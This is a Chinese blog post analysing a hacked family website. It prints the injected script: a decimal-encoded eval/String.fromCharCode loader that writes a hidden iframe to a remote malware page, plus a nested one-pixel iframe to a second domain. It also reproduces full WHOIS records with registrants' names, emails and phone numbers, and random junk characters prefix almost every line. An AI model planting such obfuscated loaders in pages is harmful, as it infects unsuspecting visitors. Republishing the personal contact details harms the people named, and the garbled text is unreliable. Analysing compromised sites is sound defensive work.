首发在我的博客里面，
dZ"d`M>o6 $*vj7V_ http://www.areway.cn/?p=175 ?oulQR6: M< cm] w_9[y 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
BTa#}LBZ+ -< }#ImTN <script>t=’60,105,102,114,97,109,101,
jU_#-< 'r 32,115,114,99,61,104,116,116,112,58,47,47,
L; 'C5#GN 102,114,101,101,46,117,45,117,117,117,46,99,
? v$1 Fc55 110,47,101,114,114,111,114,46,104,116,109,
[A46WF>L 32,119,105,100,116,104,61,49,48,48,32,104,
[K#pU:lTH 101,105,103,104,116,61,48,62,60,47,105,102,
@2R+?2 j 114,97,109,101,62′;
4 KZ )`KPE t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
&8@
a" c%x. cbu> <script>t=’60,105,102,114,97,109,101,32,115,
y3!#*NU 114,99,61,104,116,116,112,58,47,47,102,114,
mFJb9 , 101,101,46,117,45,117,117,117,46,99,110,47,
:B1a2Y^" 101,114,114,111,114,46,104,116,109,32,119,
7oFA5T _ 105,100,116,104,61,49,48,48,32,104,101,105,
&~sk7iGi 103,104,116,61,48,62,60,47,105,102,114,97,
-r@/8" 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
;BjJ<?^{ document.write(t);</script>
[eZ'h8 .R{+Pz D <html xmlns=”
Aj "SSX!L http://www.w3.org/1999/xhtml 15wwu} X “>
x qLIs:* <head>
uoe>T: <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
T[]ku n <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
mBWhC<kK s <title>首页 - 爱生活家庭网
< 7yn : A:Y W Xcg 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
<PTi>C8;r 转换字符串后的大概内容是（谁点击后果自付）：
g].v <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
.Af H>)E #Q$`3rr 查询玉米u-uuu.cn的详细信息：
6u ubkt Domain Name: u-uuu.cn
gfm aO ] ROID: 20070901s10001s64972306-cn
XaR(~2 Domain Status: ok
g@IYD Registrant Organization: 王雷
Uiu9o]n Registrant Name: 王雷
V SUz+W Administrative Email:
czlovexs@126.com 2~q(?wY Sponsoring Registrar: 北京万网志成科技有限公司
R4Si{J*O Name Server:ns.yovole.com
i*ji Name Server:ns1.yovole.com
?Q dp#K]WX Registration Date: 2007-09-01 17:54
\'Ewn8Qv8 Expiration Date: 2008-09-01 17:54
iWMgU:T 最后PING了一下地址 都没有什么….
dX ;G [\ Jej-b<HmQ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
q<!Kt I4 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
eKek~U& <script language=”javascript” src=”
}*3#*y " http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script s&~ .";b
>
?*A"#0 这个玉米应该有可能是木马作者的：
O!.mc=Gx7 foafau.info的详细信息：
3:G94cp5 Access to INFO WHOIS information is provided to assist persons in
kU$M 8J. determining the contents of a domain name registration record in the
j aq/]I7 Afilias registry database. The data in this record is provided by
ljRR{HOl Afilias Limited for informational purposes only, and Afilias does not
qr[+^*Ha guarantee its accuracy. This service is intended only for query-based
DU. [S p access. You agree that you will use this data only for lawful purposes
R22P
ol and that, under no circumstances will you use this data to: (a) allow,
%QKRl 5RM- enable, or otherwise support the transmission by e-mail, telephone, or
"f3KE=cUm facsimile of mass unsolicited, commercial advertising or solicitations
?ne!LDlE| to entities other than the data recipient’s own existing customers; or
wO3K2I]>0 (b) enable high volume, automated, electronic processes that send
/e4#D H queries or data to the systems of Registry Operator, a Registrar, or
&4-rDR, Afilias except as reasonably necessary to register domain names or
7z4u?>pne* modify existing registrations. All rights reserved. Afilias reserves
6N]V.;0_5 the right to modify these terms at any time. By submitting this query,
1[r; you agree to abide by this policy.
{qkd63 X Domain ID:D22418703-LRMS
o= N_0. Domain Name:FOAFAU.INFO
,Jh ('r7 Created On:20-Nov-2007 16:05:42 UTC
b=j]tb, Last Updated On:20-Nov-2007 16:05:44 UTC
O.~@V(7ah Expiration Date:20-Nov-2008 16:05:42 UTC
d*TpHLm Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
SK_i 3? Status:CLIENT DELETE PROHIBITED
+i.b&PF'H Status:CLIENT RENEW PROHIBITED
>!|( n @ Status:CLIENT TRANSFER PROHIBITED
Hxzdxwz%$ Status:CLIENT UPDATE PROHIBITED
hg=BXe4: Status:TRANSFER PROHIBITED
1 O]27"9 Registrant ID:GODA-040110615
uS i/| Registrant Name:liu hong
Je~d/,^WU Registrant Organization:
*,=WaODO % Registrant Street1:beijing
MX#MDA-4 Registrant Street2:
Z`lCS
o; Registrant Street3:
*^5. .0du Registrant City:beijing
%Jc>joU Registrant State/Province:
x#s=eeP1 Registrant Postal Code:100000
VIjsz4 2 C Registrant Country:CN
.+TriPL Registrant Phone:+86.860108888777
Obm@2;^g6 Registrant Phone Ext.:
@YfCS8
eH Registrant FAX:
(G:K?o) Registrant FAX Ext.:
7,N>u8cTh Registrant Email:bbbshiji@163.com
Z2dy|e(c Admin ID:GODA-240110615
T c{]w?V Admin Name:liu hong
3e.v'ccK& Admin Organization:
$@blP <I Admin Street1:beijing
uKZe"wN; Admin Street2:
\PB ~ 6 Admin Street3:
e !(0 y)* Admin City:beijing
zu
Jl #3YP Admin State/Province:
\Ow-o0 Admin Postal Code:100000
~CB6+t> Admin Country:CN
ToHCS/J59 Admin Phone:+86.860108888777
p 8q9:Tz Admin Phone Ext.:
(]mh}=:KDg Admin FAX:
f uxBoB Admin FAX Ext.:
)2 P4EEs[ Admin Email:bbbshiji@163.com
-\`n{$OR Billing ID:GODA-340110615
3=r8kh7, Billing Name:liu hong
+jD{ O @9 Billing Organization:
*L9s7 RR Billing Street1:beijing
.qioEqK8!y Billing Street2:
eiF!yk?2 Billing Street3:
<4W"ne28 Billing City:beijing
e,}]K'!t Billing State/Province:
[z:bnS~yiD Billing Postal Code:100000
$3! j1 Billing Country:CN
Aghcjy|j Billing Phone:+86.860108888777
ul e]eRAG Billing Phone Ext.:
F%Lniv/N Billing FAX:
4C ;4"6 Billing FAX Ext.:
_F *("
o Billing Email:bbbshiji@163.com
}Vpr7_ Tech ID:GODA-140110615
xi=qap=S^9 Tech Name:liu hong
O\ T Tech Organization:
*Bt`6u.>e, Tech Street1:beijing
/AR;O4X+ Tech Street2:
q($lL~Ls Tech Street3:
JqO#W1h~R| Tech City:beijing
8I H&=3 Tech State/Province:
gkuI!= Tech Postal Code:100000
Mc9P(5Bf Tech Country:CN
_gY
so]S^B Tech Phone:+86.860108888777
HlB'yO Hv! Tech Phone Ext.:
D4m2*%M Tech FAX:
X?b]5?K;r Tech FAX Ext.:
&
Ci U U Tech Email:bbbshiji@163.com
Hm+-gI3* Name Server:NS27.DOMAINCONTROL.COM
'A,&9E{%1 Name Server:NS28.DOMAINCONTROL.COM
R.R(|!w> Name Server:
fz
W%(.tc\ Name Server:
2FO.!m Name Server:
,sk;|OAI Name Server:
'?5=j 1 Name Server:
*0y+=,"QU Name Server:
? kew[oZ Name Server:
5( lE$& Name Server:
9 jiZtwRpk Name Server:
AjaG .fa]k Name Server:
aI|<t^X Name Server:
&tKs
t,UR8 )}?'1ciHI 接着下载每个文件里面的代码：
&j/ WjZPF 一步一步看..
+b] g ; 
6:B[8otQ 
cW,wN~ 
2|o6~m<pE 
Um\Nd#=: 
GljxYH"]# 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
